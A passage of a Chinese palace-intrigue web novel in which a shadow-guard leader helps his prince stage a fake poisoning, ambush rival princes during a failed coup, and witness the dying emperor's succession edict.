这事若要他们影卫暗中查探,赶上一两个月也是有可能的,可偏偏时间紧迫容不得他们消磨时间。 倒不如将这件事交给王爷,才能干得又快又名正言顺。 他家王爷不正好被陛下委以招待使团的重任吗? 之前王爷说这事有例可循,用不着他亲自出马,只是挂个名,现在他倒觉得王爷刚好可以插上一手。 毕竟招待使团这种事情涉及到国家形象,保护使团安全也是两国邦交的重中之重。 因此清查城内的可疑人员,简直不要再顺理成章。 这要是让使团在京中被流寇恶民所扰,那国家的脸面岂不是都丢尽了?若是再挑起了两国之间的战争,更是罪无可恕。 王爷当然得为国家的荣誉着想,为陛下分忧。 因此杨妃觉得很有必要对京中人口和往来人员做身份审查,把那些隐户黑户全都揪出来。 他觉得五皇子安排韦庄进京的人数目不少,那么多人不大可能每一个都有全套的身份证明。 就算五皇子做事周密,事无巨细都考虑到了,他们一番折腾一个都没查出来也没关系。 因为不管有没有真的抓到人,这样闹起来一波就有够五皇子烦的了,也不算白忙。 而且到时候清查黑户的时候,他们也可以派人混在民众之中,看看那些证件齐全的人是不是像五皇子府上的护卫一样健壮。 毕竟五皇子派人过来是打算动武的,伪装的人也必然身强体健。 到时候宁可错杀也不可放过。 杨妃现在真是烦他跟五皇子烦的要死,就算一时半刻不能真的对他怎么样,也要给他添添堵。 杨妃笑了一下,说干就干,他现在全心全意地盯着头号心腹大患五皇子,一时不能离开,就刷刷刷地就拿炭笔写了一封密信交给了自己身边的小影卫,叫他交给王爷。 他相信不需要他当面对王爷说他的思路,王爷也能采纳他的意见。 杨妃完全沉浸在给五皇子添麻烦的喜悦之中,浑然不知他这种直接拿信去给主子发任务的举动,有多倒反天罡,在那个小影迷的眼里,到底有多奇葩。 那个领了任务的小影卫恍恍惚惚地带着信走了,又恍恍惚惚地走到了王爷面前,然后恍恍惚惚地接过了王爷转交给他的任务,又恍恍惚惚地去干活了。 整个过程他如在梦境之中,甚至有那么一瞬间怀疑自己是不是中了什么幻境的毒。 不然他怎么会看见王爷接到了影卫头领的信件问都没问,就同意了首领的任务,想都不想地交给他去做,甚至还颇为满意的笑了两声。 影卫头领,不愧是影卫头领,能当老大都是有原因的,小影卫这样想着,觉得跟着这样的老大干简直太有前途了,当下连轻功都快了几分。 一石激起千层浪。 王爷是以为使团考虑为由开始审查京中人口,可京中的流民黑户却不止五皇子的人,还有不少隐瞒身份只为了到大户人家做工多赚些钱。 这一下全都被翻了出来,整个京中热闹极了。 王爷也没有对那些真正民户赶尽杀绝的打算,他知道他们也不过是为了养家糊口,便干脆只是将他们驱逐出京,高高拿起,轻轻放下。 为了不打草惊蛇,那些身形健硕,一看就不是普通黑户的伪装者也没有在京中拿下,而是派了人悄悄地跟着他们,只待在小路上杀人灭口。 一时之间京中的官员忙得不行,京中的居民也行色匆匆,他们影卫更是跑前跑后,连王府上刀具的损耗率都直线上升。 没办法,五皇子的人不是那种三脚猫功夫,往往不是干净利落的暗杀,多少也得动动手。 这一动手,五皇子便是再傻也能察觉到问题了,他能感觉到这一次嘴上说着为了使团,实际就是往他的两肋插刀。 五皇子多年在边境言出法随,回了京中这也是头一回受气,哪里压得下这口怒火,当即便悄悄地喊自己人商议对策。 顺理成章的被蹲守了个把月的杨妃逮了个正着。 他得感谢五皇子怕自己的人出入王府被别人盯上特意约了个酒楼商谈,这才能让早有准备的他扮成小厮混进酒楼之中。 然后他就听到了一个让他火冒三丈的计划。 “王爷,属下有一妙计。”那个幕僚摇着羽扇一派从容。 “二皇子妃喜欢四皇子已经是京中不公开的秘密,甚至有传闻说他们两个早已暗通款曲,只是被二皇子横刀夺爱,狠心拆散。” “据属下调查,互生情愫是真,有所联系也是真。” “我们何不将此事利用一番呢?”他眼中闪过一丝诡光,语气也有些兴奋,“王爷手下不乏会易容的高手,不如就易容成四皇子的人的模样,暗中给二皇子妃寄信。” “就说如今他被监禁在府上举步维艰,二皇子又和他多年不和,如今父皇重病只能在他们俩之间选择,他又势弱,若是二皇子最终……他恐死无葬身之地,希望二皇子妃能救他于危难之中。” 谋士越说越得意,羽扇带起来的风吹动他的鬓发,“这话本子里常说英雄救美最能让人心动,殊不知这美也是想救英雄。” “想必二皇子妃很愿意为他的情郎解决这点小小的麻烦。” “很简单,只需要王爷给他提供一点小小的毒药。” 五皇子听着却不觉得有趣,甚至还不屑的冷笑一声,“本王是那种利用女人的小人吗?” 五皇子明显对这谋士的方案不太满意,可他却锲而不舍,“王爷,成大事者不拘小节,能简单快速、风险小的解决问题,又何必大费周折呢?” 他继续劝道,“我们假装四皇子之首对二皇子下手,不仅能将找王爷麻烦的二皇子解决,还能顺手在苟延残喘的四皇子身上捅上一刀。” “如果我们运气够好,说不定皇帝连他最近身体状况不如意的事情都能联想到四皇子身上,到时候连他也活不下来。” “那我们岂不是最后的赢家了x?” 他掰饽饽说馅儿似的,将他这一石二鸟的计谋讲给五皇子听,五皇子听着听着舒展了眉头,勉为其难地同意了。 偷听的杨妃火冒三丈,后槽牙咬得紧紧的。 他家王爷还没来得及对五皇子下手呢,五皇子就已经先将主意打到他家王爷身上了! 炸毁河堤,想淹死他家王爷一回还不够,竟然还想毒死王爷! 杨妃的眼睛好似要喷出火来,他有时候真不知道说王爷这些兄弟什么好。 他这些兄弟们总想置彼此于死地,可在某些时候又有该死的默契了。 这不现在就巧了,王爷和五皇子想到一块去了。 他真的无语。 王爷还之前和他说让他找人扮成四皇子的人诱惑王妃给自己下毒呢,现在好了,连假扮这一步骤都不用他亲自上阵了。 热心的五皇子要为王爷代劳了。 第84章 五皇子的计划被杨妃原原本本地告诉给了王爷,王爷听过之后也只是笑了一下。 “如此更好。”超级冷静的王爷平静的说,“这不是正中我们的下怀了吗?” “而且对我们的计划更有利。” 杨妃:…… 杨妃无话可说,王爷说的也是他在想的。 他们之前的最终目的是打算顺理成章的解决四皇子陷害给五皇子的,现在压根就不需要陷害了,五皇子上赶着递把柄,倒还省了杨妃他们伪造五皇子相关证据的功夫。 杨妃得了王爷的回复,乖乖地离开了,转身就去找了浅云巡视进度。 现在这个任务唯一的缺点就是主动权不在他们手里,而是在五皇子手里由于他很难提前预知到五皇子什么时候派人动手,所以必须要把浅云准备好的毒药捏在手里,紧盯着五皇子的人,随时准备替换。 这事可马虎不得,一旦有了错漏,付出的就是王爷的命。 杨妃不觉得已经下手炸毁堤坝试图谋杀王爷的五皇子这会儿会心软地,下一种不致死的毒药。 他得多找些人盯着,五皇子的人才能放心。 王府内也得紧盯着王妃。 杨妃以己度人,如果他是五皇子,想通过一个手无缚鸡之力在王府又不怎么受重视地位不高的女子来对王爷动手,寻常需要入口的毒药只怕很难办到。 最好用的就是那种粘在人身体上,需要一段时间延迟毒发的接触性毒药。 这样的话,每一次五皇子伪装的人与王妃接触都是危险的。 杨妃眯了眯眼睛计上心头。 他为什么不干脆直接让人易容成王妃的模样和五皇子的人接头呢? 只要拿到了那封教唆下毒的信不就行了吗? 杨妃猛地拍了一下脑袋,觉得自己的智商随着洪水消失了太多。 他只要这么弄也不需要那样紧张地盯着五皇子的人了,更不需要时刻捏着毒药在手里提心吊胆的了,省了不知道多少功夫又周全。 若真是四皇子的人来教唆王妃还有一定概率发现来的王妃不是真王妃,五皇子的人就没有这样的风险。 计划就是这样突然被完善,心情不错的杨妃连出王府朝五皇子府的方向走的都轻松了许多。 京中这一潭浑水被王爷搅得翻涌,不单单五皇子的人被翻出了不少,杨妃还发现了四皇子的人。 四皇子不慎中了五皇子的计,还被监禁在府上,他执着的给陛下上折子辩解,可奈何陛下压根不见他,一时之间他是真的陷入了困境,可他手底下那些拥簇他的人还没有放弃。 普通人行到水穷处顶多血溅五步,像他们这样的皇子到了这种山穷水尽的地步想的就是怎么样能武力夺权了。 四皇子的人目前就在上蹿下跳的联系朝中官员,拉拢军中的武将。 追着五皇子的人出去杀的,影卫们还发现了四皇子藏在村落中的人马。 比起五皇子来说少了不少,王爷也没犹豫,果断叫人全杀了,顺带再留下点五皇子的线索,也不管四皇子能不能发现,只管有枣没枣地打一杆子。 不过从结果上看,四皇子应当是发现了,因为五皇子府这个月遭了两次火灾。 杨妃次次都看在眼里,也没去搭理逃窜的纵火者,只管看戏,顺带祈祷一下五皇子命丧火海,再顺便趁着热闹将五皇子府上的布防图画下来。 只可惜这个混血的五皇子实在命硬,两次火灾都没烧到他面前。 不过频繁的意外也激化了京中的形式,这三位成年的皇子已然都到了图穷匕见的时候。 五皇子的动作也日渐急迫,前几日竟然飞鸽传书催促使团早些进京共图大业。 杨妃也是毫不客气地将信件截获替换了一份,到时候不光有了能塞到五皇子府上的罪证,还能有塞到使团里的罪证相互呼应。 三位皇子都在以自己的方式推进自己和皇位之间的距离。 在杨妃紧张又担忧还夹着些期待的复杂心情中,五皇子的人伪装成四皇子开始频频和假冒的王妃接触。 这五皇子的幕僚一定是看多了才子佳人的把戏,像这种明晃晃的利用人家犯诛九族的过错的好戏披上了层恋爱的外衣,其虚伪程度令杨妃都替真正的王妃感到恶心。 利用人家直接利用也就罢了,偏偏他倒还不直接教唆下毒,先玩书信传情的把戏,好一顿互诉衷肠。 他倒是演爽了,只苦了伪装成王妃的影卫,捏着鼻子伪装王爷的字迹作小女儿情态,那叫一个挑灯夜读。 影卫们有一个算一个都是娘胎里出生的单身汉,为了获得回信的灵感,倒霉影卫这段时间看了不少郎情妾意的话本子,杨妃觉得他整个人都娘起来了,更加期盼真正动手的时候。 许是四皇子越来越有鱼死网破的趋势,在一次五皇子府上采购的物资被下了毒之后,他也终于再忍不了在下毒的前戏上浪费时间,果断地寄出了那一封挑唆的信件。 这一天终究还是来了。 杨妃也是多虑了。 五皇子府上的人计划的下毒方式还挺朴素的。 杨妃瞅了瞅,假扮成王妃影卫手里提着的食盒,那里头装的是京中最火的糕点铺子的糕点,背后的东家当然是四皇子。 这刀递的…… 这五皇子一个弯都不转啊? 这么直白生怕别人不知道毒是四皇子下的吗? 皇帝也只是病重了,不是变蠢了啊…… 杨妃甚至怀疑五皇子已经不打算再演下去,今天就要率兵攻打京城了。 这盒糕点还是按照他们计划的那样摆上了王爷的桌头,区别就在于被咬了一口的糕点实则是杨妃手动掰掉的,而王爷本人就着参汤一口干了浅云准备好的药丸。 杨妃提着一口气,紧张地盯着王爷的一举一动,嗓子紧绷随时准备尖叫。 浅云这毒药做的非常符合王爷的要求,那发作起来惨烈的效果,真的让杨妃有一种王爷要被毒死了的感觉。 他只觉得自己呼喊的声音都快要将自个儿的耳膜震破了,再也没了平常冷静的模样。 因为王爷他吐血三升—— 杨妃无比震惊地看着被喷出来差不多溅了半个桌面的血迹,有那么一瞬间脑子里闪过一个问题。 好像他之前抹别人脖子的时候喷出来的血也没有这么多吧? 王爷真的没事吗—— 替换高点的人不能弄错了吧? 杨妃有些被吓到了,哆嗦着手将瘫倒在地的王爷揽在怀里,慌里慌张的用帕子擦拭着王爷嘴里不断吐出来的血迹。 那张帕子很快就被温热的鲜血浸湿了,连同杨妃和王爷的衣服一起,场面堪比死了一堆人。 王爷的身体里竟然有这么多的血液吗?! 配合王爷和杨妃表演的浅云拎着他的小药箱子打门口姗姗来迟,一进门就被眼睛通红的杨妃吓得后退了两步。 他颇为新奇地上下扫了一眼揽着王爷的跪在地上的杨妃,脸上是焦急惊慌,心里啧啧称奇。 这一出不是他们老早就说好的吗? 不至于用这种要吃了人的眼神看他吧? 他也是老老实实的在听王爷的命令行事啊! 浅云心里有点忐忑,在杨妃的怒吼声中,大跨步地凑到了王爷身前,手有些发冷。 按理来说,这毒药他在人身上测试了不是一回两回了,会造成什么后果更是烂熟于心,杨妃也不是不知道内情,不至于演这么夸张。 难道说毒药真的出问题了? 他心里咯噔一声,连忙将手搭在王爷的脉搏上,嘴角抽搐了一下。 王爷的脉象正和他做的这毒,把脉摸上去是生命垂危,实际上只会让王爷昏睡,等时机到了就药到病除。 浅云给杨妃暗中使了个眼色,让他不至于如此忧心,接收到信号的杨妃眉头拧的死死的。 “王爷吐了这x样多的血——”杨妃指尖颤抖着抹过王爷猩红的嘴唇,他满手鲜红早已见不到自己的肤色。 浅云看了一眼血迹,又看了一眼杨妃,碍于这里不单单有他们两个人只能用眼神安抚,表示寻机会他们私下说,随后再也不搭理他,招呼着人将王爷抬到床上,严肃又紧张地将这场戏做到底。 他当然知道王爷这惨状是怎么回事。 这交到他手上的毒药禁药看上去无比严重,又要实际上不损伤身体,但凡是个会读医书的人提出这要求,浅云都能散发暗器送他归西。 可谁叫发布任务的是他的主子,给他送任务的是他的老大呢? 没有话语权的浅云只能捏着鼻子绞尽脑汁地思考怎么能满足他们俩的要求。 这太难了。 要不是不能跑路,他真的很想直接消失。 任务虽难,但他也不是吃素的,经过他数日的深思熟虑,他最终制作出了一款能伪造成重伤垂死脉象的丹药,附带昏昏欲睡的效果,方便演技不佳的王爷持续伪装。 脉象易于伪装,可中毒重伤的人还有许多吐血呕吐的症状,一旦用药物造成这种现象势必就要损伤王爷贵体。 所以浅云灵光一现,干脆连这个也伪装了。 于是在杨妃不知道的时候,当带着毒的糕点送到王爷面前前,王爷就先行喝了满满一大盆的勾兑成血液样子的假血。 等王爷见到下了毒的糕点后,浅云提前给他吃的催吐的药也起了作用。 随后就是杨妃所见到吐血不止的王爷。 浅云瞥了一眼回归天外的杨妃,隐形的尾巴已经翘了起来。 瞧他这任务做的有多完美,完美的呈现了两位顶头上司的要求,甚至已经超过了其中一个顶头上司的预期,完成了以假乱真的成就。 被撵到一旁的杨妃呆呆地站着,根本就没注意到那一道藏着得意的视线,他望着来来回回进帷幔的侍女医师,脑子一片空白。 当计划真的进行到这一步时,他真的瞧见王爷虚弱他好像要死了的模样时,杨妃一次又一次地后悔自己为什么没有在计划开始前劝住王爷。 千金之子坐不垂堂。 大不了他们直接兵戎相见也好过王爷如此亲身冒险。 屋子里熙熙攘攘的人群,随着王爷情况的稳定逐渐恢复了安静。 杨妃也冷静了下来。 王爷按照计划冒险,他们也需要按照计划行事。 堂堂一位王爷在自己的王府内被下毒,给本就紧张的京中形势又加上了一把火。 陛下勃然震怒下令严查此事。 五皇子生怕线索引不到四皇子的身上,留下可以查证的证据都不是一个两个的,负责查案的官员可以说没费什么力气就查到了被监禁的四皇子身上,也查到了王妃的身上。 事情涉及到天家父子,哪个官员敢深究细查? 因此明知道线索拿得这么轻易必定有蹊跷,他们也不敢再查下去,只能装聋作哑地将已经查到的证据原原本本地放到皇帝面前,皇帝让他们怎么做他们就怎么做,那是一点多余的猜测也不敢说的。 笑死了。 这种事情谁敢插嘴啊,沾个边儿都容易全家归西,这几个皇子斗得死去活来,他们只管老老实实的就是了。 不然撞到了暴怒皇帝的枪口上,成了出气筒后悔都晚了。 果然如他们所料,撑着病体哆嗦着手看完了他们呈上来的折子和证据之后,皇帝愤怒地咳嗽着,噼里啪啦的就将桌子上的东西统统摔在了地上,那几封折子更是被皇帝直接砸在了官员的脑袋上。 “放肆!!!” “朕的儿子们兄友弟恭,怎么可能如此手足相残?!” “尔等办事不力也敢拿这种东西来糊弄朕!” “打量朕龙体不适,便也敢来欺瞒朕?!” 被砸的额角流血的官员敢怒不敢言,哆哆嗦嗦地趴跪在地,声线颤抖,“陛下恕罪!臣等办事不力!这就重新详查!” 他紧张地听着皇帝的动静,心惊胆颤地听见了扑通一声,大殿内瞬间陷入了安静。 半天没听到皇帝回应的官员颤巍巍地抬头,就瞧见他们的陛下此刻低头趴在桌子上没有了动静。 “御医——” 这场皇帝的愤怒被他岌岌可危的身体状态强行制止了,汇报的官员反而逃过了一劫。 此时皇帝昏迷,他倒是差不多摸到了皇帝的意图。 反正这事无论推到谁身上也绝不能落到皇子们的身上,那他就懂了。 真相当然是四皇子的属下在王妃还未嫁给王爷之前,就已经对这个王妃不满,此时又恰逢四皇子被禁闭在府上,诸事不顺,这属下就顺理成章地认为是王妃克了他家主子,于是心生奸计,想要毒死王妃。 却不曾想王妃将糕点端到了王爷桌上。 一切都是阴差阳错罢了。 办案的官员可不管,别人瞧了这结案心里想什么,他只管让皇帝满意。 现在唯一的问题就是皇帝到底什么时候醒,给这一案画上句号。 第85章 频繁的意外,在有心人的推动下让京中的流言堪比一锅乱炖得稀巴烂的粥——反正说什么的都有。 杨妃在里面狠狠地添上了一把火,将四皇子和五皇子一网打尽,五皇子也不甘示弱,不止疯狂甩锅给四皇子,还要给王爷扣上一个克父的罪名。 主要负责此案的官员更是成了三位皇子的人攻击的主要目标,这段时间已经不敢回自己的府上日夜留宿在官衙了。 杨妃猜测他可能是觉得有人会刺杀他,生怕自己不能活着等到皇帝醒来结案。 但恐怕这会儿这个案子到底如何结案已经不重要了。 被禁足在家,又诸事不顺,现在又被扣上了一顶毒害兄弟间接导致气晕父皇罪名的四皇子在等待的时间里备受折磨。 他就像是一根绷紧了的弓弦,一日日一句句一点点时局的变化,都会将他拉得更紧,直到有一日这根弦承受不了压力而崩断。 这一天伴随着皇宫中皇帝的身体,一日不如一日的传言终于到来了。 四皇子决定趁此良机背水一战。 他要用仅有的府兵攻打皇城。 月黑风高,杨妃藏在树丛的阴影中,冷脸听着四皇子府上传来的轻微铁器碰撞声,看来他是打算今天晚上闯进皇宫之中了。 夜色正浓,京城的街道安静得很,显得那些刀刺入血肉的声音无比刺耳。 这一夜对四皇子来说一定是紧张期待又刺激的一夜,对杨妃来说心情就相当复杂了。 四皇子埋伏在城外的人,之前误打误撞地被王爷清除了不少,仅靠王府里的这些人,他不认为他能成功。 当他的人杀掉守卫走出王府的那一刻就注定了四皇子永远洗脱不掉造反的罪名,他家王爷又少了一个竞争对手。 这可比抓到证据再下毒严重的多。 而且若是皇帝这会儿醒了,四皇子造反的消息又传到他耳中,杨妃觉得本就奄奄一息的病弱皇帝被四皇子直接送走也不是不可能。 皇帝一死,顺位继承也就是他家王爷了。 不过五皇子可能持有反对意见,在他的血统很难得到朝臣承认的前提下,他有极大的概率会直接和王爷打起来。 那一战可不好打。 杨妃希望皇帝被气死,好直接让他家王爷登基,哪怕必须得和五皇子打一仗也划算,毕竟那时候五皇子就属于造反,王爷师出有名,大可召集天下兵马。 又或者皇帝顺利地活到了四皇子被镇压看管,处理完四皇子之后再一命呜呼。 反正人固有一死。 四皇子的人浩浩荡荡地往皇城去,杨妃远远地看着没有靠近。 现在虽然是捞浑水摸鱼,解决掉四皇子的大好时机,可他没有必要为一个必定会失败的人冒险。 比起现在解决四皇子,杨妃更想浑水摸鱼地解决掉五皇子,然后还能把锅甩给四皇子。 他摩挲了一下自己腰间的匕首,锋利的刀刃反射一抹白茫茫的月光。 四皇子的人已经被发现,正和京城守卫打得正欢,喊杀的声音震天,那些京里当官的老爷们都已经集齐了护院守好了自己的府门。 杨妃相信五皇子早就得到了消息,说不定也会趁着今夜做什么。 他从腰间摸出了一瓶膏状的毒药,将它倒在了匕首上抹匀,踩着轻功躲在了四皇子府到皇宫的必经之路上。 他要在这里等一等。 若是五皇子今夜打算浑水摸鱼处理掉四皇子占领皇宫,这条路就是他的必经之路,今天若是能把五皇子杀死在这儿那可就太值了。 五皇子府上现在也很热闹,杨妃能隐隐约约瞧x到王府内跃动的火光在朝门口聚集,渐渐地也有了马蹄声和铁甲碰撞声。 他果然还是出来了。 杨妃看着列队整齐的人拎着武器出了王府,眼见五皇子谨慎地让探路的侍卫在钱开路,就挪了挪躲到了更隐蔽处。 谨慎的五皇子肆无忌惮的让侍卫把路上所有能藏人的地方都砍上几刀,逼得杨妃只能提前躲到了更远处。 他紧紧皱着眉。 现在这个情况想要刺杀五皇子不搭上个百八十人是办不到的,他必须得另做准备。 杨妃最后看了一眼五皇子人精马壮的队伍,转身毫不留恋地赶回了王府。 他这个近战用的小匕首是用不上了,倒是那妖怪拿的图纸改装出来的弓弩射程远超过了五皇子的警戒范围,或可一试。 等杨妃来去匆匆的带着武器和人手赶回来的时候战斗场面已经相当混乱了。 四皇子的人被两拨人围堵在皇城门口,向皇城进发正面对着守城军,想要后退又被五皇子带着人堵着,已经进退不能浴血奋战了。 若是杨妃来的再晚一些,说不准四皇子就已经全军覆没束手就擒了。 还好王府位于京都的中心,还好他们轻功来去的快。 杨妃和身侧的影卫们对视一眼,非常有默契的选择潜行到靠近守卫军一侧。 他们要在这个时候放暗箭放的角度也大有讲究。 若是靠近五皇子一侧去刺杀五皇子,由于五皇子后面没有别人,这时候五皇子命丧当场,但凡是个人也能察觉到其中有猫腻,怀疑对象除了王爷也没有别人了。 反之,若是他们靠近守城军的一侧,无论是暗箭杀死四皇子还是五皇子都联系不到王爷身上。 杀死四皇子,那是守城军平定战乱,杀死五皇子,那是战场上刀剑无眼的误伤,要怪只能怪他命不好。 仗着新型弓弩的射程已经远超现在军队所用的弓箭,他们一路绕到整个战场的后方,远远的对着那一片火光冲天的地方拉紧了弓弦。 “放!” 杨妃一声令下,影卫们分别瞄准了四皇子和五皇子,弓箭在黑夜之中没有任何征兆地疾驰而去。 “嗖——” 这样的声音在刀光剑影中并不明显,反正四皇子是没听见,可在战场上待得惯了武艺超群的五皇子哪能错过这种明显的弓箭破空声。 五皇子耳尖动了动目光一凝,也不装作孝子似的劝四皇子弃械投降了,反而伸手一把抓住了骑马坐在他身侧的侍卫,直接将他拉到自己的马上挡在身前。 杨妃他们锲而不舍地放了两三波箭,浑水摸鱼中围绕着四皇子和五皇子的人被他们干掉了不少,四皇子更是身中两箭直接从马背上滚落又被惊马狠狠地踩在了腿上,正在地上哀嚎不止。 只可惜五皇子没受什么伤。 他看着五皇子毫不留情地将身前身中数箭的侍卫推到,目光正往箭来的方向张望,甚至已经叫人往这个方向查探,只能遗憾地鸣金收兵清扫了他们来时的痕迹悄悄地回到王府中去了。 皇城门口如此热闹,皇子们兵戈相见终究还是唤醒了卧病在床的皇帝。 皇帝大怒,吐了好多的血,一句话都没来得及说便又倒下了,眼看着不大好了。 守着皇帝的御医就看着皇帝越来越虚弱干咽了一口唾沫。 外面打成了什么样子,他们也不是不知道,现在唯一能稳定大局的皇帝还又倒下了,这要是那几个皇子再打起来直接闯进皇宫,他们有一个算一个,都得给床上的皇帝陪葬。 他们彼此对视了一眼有了默契。 都到了这个时候皇帝就算死也得留下两句遗言。 御医们默不作声地给皇帝熬了压榨潜力回光返照的药,一点点地给皇帝灌了下去,冷漠地看着皇帝苍白到发灰但脸一点点泛上了红晕。 皇城中的太医如丧考妣,王府里的杨妃心情还算不错。 他才收到消息四皇子重伤不治已经去了。 也是,又被箭射穿,又被马踩的,没经历过风霜的四皇子,哪里承受得了这个。 只是若是他现在接到的死亡信息是五皇子的他会更高兴。 杨妃拿着勺子吹了吹碗里的药汁一点点地喂给了王爷。 事已成定局,到了王爷恢复健康主持大局的时候了。 王城的探子传来消息,皇帝定然在劫难逃了,雨衣们为了推卸责任已经给皇帝喂了压榨潜能的药,现在皇帝能活多久全靠那药效能持续多久。 一旦药效过了,皇帝便立时驾崩。 这个紧要关头,王爷必须健健康康地出现在众人面前,顺顺当当地从皇帝手中接过皇位。 浅云精心搭配的毒药,药到病除,王爷缓缓地睁开眼睛。 等王爷稍稍清醒了些,杨妃就言简意赅的把最近发生的大事讲给王爷听,用一个又一个的死亡消息砸了王爷一脸,生生地将脑子还有些混沌的王爷砸得清醒了。 “……” 王爷坐起来揉了揉额角,“这段时间京城挺热闹。” “皇帝还能活多久?” “这次是真的不行了,药已经给皇帝喝了下去,要不了多久他就会清醒,等药效过了就会驾崩。”杨妃面无表情地说,完全没有把那个人当成自家王爷的爹看待。 王爷对此毫无意见,只是说,“五皇子现在在干什么?” “五皇子最近挺消停。”杨妃也觉得有点疑惑,但事实确实如此。 那一夜之间四皇子的人被杀了个差不多,五皇子也损失了不少人手,杨妃本以为他会借机多弄些人到王府上,结果他倒是什么都没做,老老实实地待在王府。 事出反常必有妖,杨妃特意多派了些影卫在京城外面巡视,就怕五皇子已经准备好了,集结兵马攻打京城。 要他说那一天晚上带着兵去堵击四皇子这事儿做的还是有点冲动了,他一下子从王府里掏出那么多人骑马带甲的,传到清醒的皇帝耳朵里就是一个不亚于四皇子造反的大雷,可以说是五皇子之心人尽皆知了。 杨妃和王爷对视了眼。 此刻京城的情势已经无比明了。 三皇子是个疯子,四皇子已死,外族血统的五皇子已有反心,生下两个还是垂髻之年。 已经随时能魂归西天的皇帝醒来会怎么选择这都不用猜了吧? 随时能威胁到王爷的五皇子都已经很难压抑到杨妃的幸福心情了,默不作声穿戴整齐打扮好了的王爷也一样的激动。 这京城中所有人的目光都集中在了京都之中,就在万众瞩目的时候,皇帝终于醒了。 第一件事就是召集京中所有皇子。 传旨的太监收了圣旨谄媚地对着王爷笑,连每次都没少拿的银子都没拿,态度可谓是放得极低。 “本王这就去。” 眼见着得偿夙愿,杨妃看着王爷的目光都带着激动,也难为王爷到了这个时候还能一脸平静甩了甩衣袖上了马车。 第86章 吸取了上回的教训,杨妃这次可能傻傻的被人骗了在宫门口等着王爷,他这回早早的就换好了衣服和王爷站在一起等着传旨的太监,这会儿直接顺理成章的一起和王爷出了门,上了马车。 进宫的路走过千回百回,这回应当是王爷最激动的一回,在别人面前,王爷还能维持他那一副泰山崩于前而面不改色的淡定,此刻马车里只有他和杨妃,便原形毕露了。 王爷看着带在身边一副太监打扮的杨妃,无声地露出了笑容。 他今天是真高兴。 事情到了现在已经没有任何意外,将托大任的也就只有他这一个儿子了,他就不信他爹还能选择那两个年幼的。 至于紧随其后即将迎来的五皇子的麻烦那就是之后他需要解决的事了,相信等他真的继承了那个位置能调动更多的资源之后压住他的兄弟应该也不会太难。 王爷心情十分美丽,杨妃也不例外,今天走在这条路上,就意味着他离自己的终极目标只差一步。 而这条路上的绊脚石只有五皇子。 杨妃低着头琢磨着怎么能尽快解决这个心腹大患。 今天皇帝叫王爷过去,势必就是要宣布王爷的太子之位的,说不准也会将五皇子叫过去。 他要不要直接趁五皇子出宫的时候下手? 这可实打实是个防御最弱的好时机,只是动起手来王爷洗脱不掉一点嫌疑。 杨妃为了王爷光明磊落的名声着想,只得忍痛放弃了这个好下手时机,跟着王爷一路走到了皇帝的寝殿。 没错,被太医用药强行从身体里榨出潜能的皇帝饶是如此也x没有力气离开床榻了。 宫殿的大门紧闭,杨妃站在大门两侧的红柱旁,看着空地上跪得整整齐齐的大臣,等着父子两个说完最后的贴心话,等着那封万众期待的圣旨出来。 他只能听见王爷的声音和隐隐约约传来皇帝妃嫔低声的啜泣声,却听不见皇帝本人一个字。 以他的耳力都是如此,可见皇帝已经有气无力到这种程度就算再撑应当也撑不了几天儿了,王爷的登基之日指日可待。 杨妃的好心情一直持续到一个行色匆匆的太监,神情慌张地一路快步走到门口,这太监额角全都是冷汗,眼神中写满了吾命休矣四个大字,一看就是发生了会令皇帝震怒的大事 那太监没给杨妃一个眼神,匆匆忙忙的禀报进了屋,紧接着就是屋里传来了皇帝沉闷激烈的咳嗽声,和一声咱杨妃听起来嘶哑破败的怒吼。 “逆子——” 门口的杨妃一听这两个字心就咯噔一声,现在这个时节能让皇帝这么骂的人,除了五皇子还能有谁? 他眉梢一挑,看来那个小太监应当就是皇帝派去五皇子府上宣五皇子进宫的人了,从结果上看,五皇子最低也是个抗旨不遵啊。 这是演都不演了? 杨妃的眼皮忽然跳起来,五皇子连最后这一场戏也不愿意再演下去肯定也是,猜到了皇帝会把太子之位传给王爷,他此时已经打定了主意抗旨不遵,怕不是正在调兵遣将,直接攻打皇城,武力夺权吧? 嘶—— 十有八九就是了! 不妙! 五皇子怎么这么急? 哪怕再多等两个时辰呢,等皇帝将立王爷为太子的旨意传遍京城再开始打也不急啊! 宫殿里面还没有王爷的动静,只是嫔妃哭泣的声音陡然增大,杨妃心里哀叹一声,着急的很。 他觉得现在的当务之急就是赶紧把旨意传遍京城,同时迅速组织防卫力量应对五皇子,而不是在里头给皇帝哭丧。 凑不到王爷耳边的杨妃,真是皇帝不急太监急,就在他急得额角冒汗的时候,屋里头的王爷终于眼角含泪地推开了宫门。 拿着圣旨的小太监紧随王爷而出,杨妃的目光落在那金黄的圣旨上眼睛眨也不眨。 底下的大臣们听到声音纷纷抬头,传旨的太监就在万众瞩目之下打开了圣旨,用太监专有的尖锐嗓音铿锵有力的念道: “皇帝诏曰:朕继即位以来夙兴夜寐,事必亲躬,不敢忘先帝委托之重任,不曾负宗庙之嘱托。 然日月如梭春秋轮转,今沉疴难起,恐难操持社稷之重任,祖宗法度不可违,今当传宗嗣。 朕之二子,德秉中和,器识深宏。孝悌闻于宫闱,仁明彰于内外。长于政治,通社稷之道;性慈仁德,有仁人之心;谦慎亲躬,得臣民之心。 昔替朕巡狩四方水道,遇危难而不退,救黎民于天灾,抚民生而有方。 兹仰承天命,俯顺舆情,谨告天地、宗庙、社稷,授以玉玺,继承皇帝位。 望恪守本心,勤政爱民,事必勤勉,继承宗庙,普惠众生。 新皇即位仪典,交由礼部详议以闻。布告天下,咸使闻知。 钦此。” 这张圣旨大概是杨妃这辈子听过最合他心意的话,连呼吸都粗重了两分,他家王爷历经了这么多磨难终于成了正统的继承人! 底下的大臣们更是高呼陛下英明,可杨妃却瞧见那小太监又拿出了一封圣旨来。 杨妃:“???” 他着实被这小太监的动作惊了一下,按理来说今天王爷才应当是这场歌里唯一的主角,怎么这中间还多出了一封。 难道是册封皇后的? 那也不对啊,按规矩,皇后不应当是王爷来册封吗,而且现在府上的王妃身上还有个给王爷下毒的污点没有洗净,不说下圣旨杀了他也不能在这样的场合封她为皇后吧? 杨妃着实有些意外,但是瞧见那太监严肃的模样就知道,这封圣旨上说的事儿也不小,只是他猜不到上面写的是什么。 难道…… 他悄悄地瞥了一眼王爷,眼角含泪却带着一丝笑意的眼眸,有那么一瞬间觉得天旋地转。 不、不会吧? 他的心咯噔又咯噔,头一回痛恨自己失去了能听到王爷心声的功能。 